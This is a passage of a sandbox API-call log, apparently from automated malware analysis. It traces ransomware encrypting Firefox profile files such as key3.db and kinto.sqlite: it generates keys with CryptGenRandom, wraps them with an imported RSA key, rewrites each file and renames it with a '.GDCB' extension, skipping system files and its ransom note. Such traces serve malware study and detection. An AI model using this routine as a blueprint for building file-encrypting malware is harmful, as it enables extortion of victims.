Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x58fc60) returned 1 [0055.985] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x5dd348) returned 1 [0055.985] CryptGetKeyParam (in: hKey=0x5dd348, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0055.985] CryptEncrypt (in: hKey=0x5dd348, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0055.985] GetLastError () returned 0x0 [0055.985] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.985] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x58fc60) returned 1 [0055.987] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x5dd608) returned 1 [0055.987] CryptGetKeyParam (in: hKey=0x5dd608, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0055.987] CryptEncrypt (in: hKey=0x5dd608, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0055.987] GetLastError () returned 0x0 [0055.987] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.987] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0055.987] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0055.987] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0055.988] ReadFile (in: hFile=0x50c, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e318, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e318*=0x15d, lpOverlapped=0x0) returned 1 [0055.992] VirtualAlloc (lpAddress=0x0, dwSize=0x160, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0055.992] VirtualAlloc (lpAddress=0x0, dwSize=0x160, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0055.992] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.992] SetFilePointer (in: hFile=0x50c, lDistanceToMove=-349, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.992] WriteFile (in: hFile=0x50c, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x285e310, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285e310*=0x160, lpOverlapped=0x0) returned 1 [0055.992] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.993] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.995] WriteFile (in: hFile=0x50c, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e310, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e310*=0x100, lpOverlapped=0x0) returned 1 [0055.996] WriteFile (in: hFile=0x50c, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e310, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e310*=0x100, lpOverlapped=0x0) returned 1 [0055.996] WriteFile (in: hFile=0x50c, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e310, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e310*=0x10, lpOverlapped=0x0) returned 1 [0055.996] CloseHandle (hObject=0x50c) returned 1 [0055.997] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.997] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.997] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.997] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json.gdcb")) returned 1 [0055.998] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.998] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.998] FindNextFileW (in: hFindFile=0x5dd548, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0055.998] lstrcmpW (lpString1="widevinecdm.dll", lpString2=".") returned 1 [0055.998] lstrcmpW (lpString1="widevinecdm.dll", lpString2="..") returned 1 [0055.998] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\", lpString2="widevinecdm.dll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll" [0055.998] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.998] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll") returned 121 [0055.998] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll") returned 121 [0055.999] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.999] FindNextFileW (in: hFindFile=0x5dd548, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0055.999] lstrcmpW (lpString1="widevinecdm.dll.lib", lpString2=".") returned 1 [0055.999] lstrcmpW (lpString1="widevinecdm.dll.lib", lpString2="..") returned 1 [0055.999] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\", lpString2="widevinecdm.dll.lib" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib" [0055.999] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.999] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib") returned 125 [0055.999] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib") returned 125 [0055.999] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.999] FindNextFileW (in: hFindFile=0x5dd548, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0 [0055.999] FindClose (in: hFindFile=0x5dd548 | out: hFindFile=0x5dd548) returned 1 [0055.999] FindNextFileW (in: hFindFile=0x5dd288, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0055.999] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0055.999] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0055.999] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\GDCB-DECRYPT.txt" [0055.999] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.999] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\GDCB-DECRYPT.txt") returned 112 [0055.999] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\GDCB-DECRYPT.txt") returned 112 [0055.999] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\GDCB-DECRYPT.txt") returned 112 [0055.999] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\GDCB-DECRYPT.txt") returned 112 [0056.000] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0056.000] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0056.000] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0056.000] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0056.000] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0056.000] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0056.000] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0056.000] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0056.000] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0056.000] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.000] FindNextFileW (in: hFindFile=0x5dd288, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0056.000] FindClose (in: hFindFile=0x5dd288 | out: hFindFile=0x5dd288) returned 1 [0056.000] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0056.000] lstrcmpW (lpString1="key3.db", lpString2=".") returned 1 [0056.000] lstrcmpW (lpString1="key3.db", lpString2="..") returned 1 [0056.000] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="key3.db" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db" [0056.000] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0056.000] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db") returned 87 [0056.000] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db") returned 87 [0056.000] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db") returned 87 [0056.000] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db") returned 87 [0056.000] lstrcmpiW (lpString1="key3.db", lpString2="desktop.ini") returned 1 [0056.000] lstrcmpiW (lpString1="key3.db", lpString2="autorun.inf") returned 1 [0056.000] lstrcmpiW (lpString1="key3.db", lpString2="ntuser.dat") returned -1 [0056.000] lstrcmpiW (lpString1="key3.db", lpString2="iconcache.db") returned 1 [0056.000] lstrcmpiW (lpString1="key3.db", lpString2="bootsect.bak") returned 1 [0056.000] lstrcmpiW (lpString1="key3.db", lpString2="boot.ini") returned 1 [0056.000] lstrcmpiW (lpString1="key3.db", lpString2="ntuser.dat.log") returned -1 [0056.000] lstrcmpiW (lpString1="key3.db", lpString2="thumbs.db") returned -1 [0056.000] lstrcmpiW (lpString1="key3.db", lpString2="GDCB-DECRYPT.txt") returned 1 [0056.000] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\key3.db")) returned 0x20 [0056.000] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db", dwFileAttributes=0x20) returned 1 [0056.001] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0056.001] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db" [0056.001] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db.GDCB" [0056.001] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0056.001] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0056.001] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0056.002] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0056.002] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0056.002] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0056.002] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.002] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0056.002] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0056.002] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0056.002] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0056.002] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0056.002] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0056.002] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.003] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0056.003] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0056.003] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5900a0) returned 1 [0056.005] CryptImportKey (in: hProv=0x5900a0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd688) returned 1 [0056.005] CryptGetKeyParam (in: hKey=0x5dd688, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0056.005] CryptEncrypt (in: hKey=0x5dd688, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0056.005] GetLastError () returned 0x0 [0056.005] CryptReleaseContext (hProv=0x5900a0, dwFlags=0x0) returned 1 [0056.005] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0056.007] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd388) returned 1 [0056.007] CryptGetKeyParam (in: hKey=0x5dd388, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0056.007] CryptEncrypt (in: hKey=0x5dd388, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0056.007] GetLastError () returned 0x0 [0056.007] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0056.007] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\key3.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0056.007] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0056.007] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0056.007] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x4000, lpOverlapped=0x0) returned 1 [0056.012] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0056.013] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0056.013] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.013] SetFilePointer (in: hFile=0x504, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.013] WriteFile (in: hFile=0x504, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285e820*=0x4000, lpOverlapped=0x0) returned 1 [0056.013] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.014] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.016] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0056.016] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0056.016] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0056.016] CloseHandle (hObject=0x504) returned 1 [0056.017] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.018] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.018] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.018] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\key3.db"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\key3.db.gdcb")) returned 1 [0056.018] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.019] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.019] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0056.019] lstrcmpW (lpString1="kinto.sqlite", lpString2=".") returned 1 [0056.019] lstrcmpW (lpString1="kinto.sqlite", lpString2="..") returned 1 [0056.019] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="kinto.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite" [0056.019] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0056.019] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite") returned 92 [0056.019] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite") returned 92 [0056.019] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite") returned 92 [0056.019] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite") returned 92 [0056.019] lstrcmpiW (lpString1="kinto.sqlite", lpString2="desktop.ini") returned 1 [0056.019] lstrcmpiW (lpString1="kinto.sqlite", lpString2="autorun.inf") returned 1 [0056.019] lstrcmpiW (lpString1="kinto.sqlite", lpString2="ntuser.dat") returned -1 [0056.019] lstrcmpiW (lpString1="kinto.sqlite", lpString2="iconcache.db") returned 1 [0056.019] lstrcmpiW (lpString1="kinto.sqlite", lpString2="bootsect.bak") returned 1 [0056.019] lstrcmpiW (lpString1="kinto.sqlite", lpString2="boot.ini") returned 1 [0056.019] lstrcmpiW (lpString1="kinto.sqlite", lpString2="ntuser.dat.log") returned -1 [0056.019] lstrcmpiW (lpString1="kinto.sqlite", lpString2="thumbs.db") returned -1 [0056.019] lstrcmpiW (lpString1="kinto.sqlite", lpString2="GDCB-DECRYPT.txt") returned 1 [0056.019] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\kinto.sqlite")) returned 0x20 [0056.191] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite", dwFileAttributes=0x20) returned 1 [0056.191] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0056.192] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite" [0056.192] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite.GDCB") 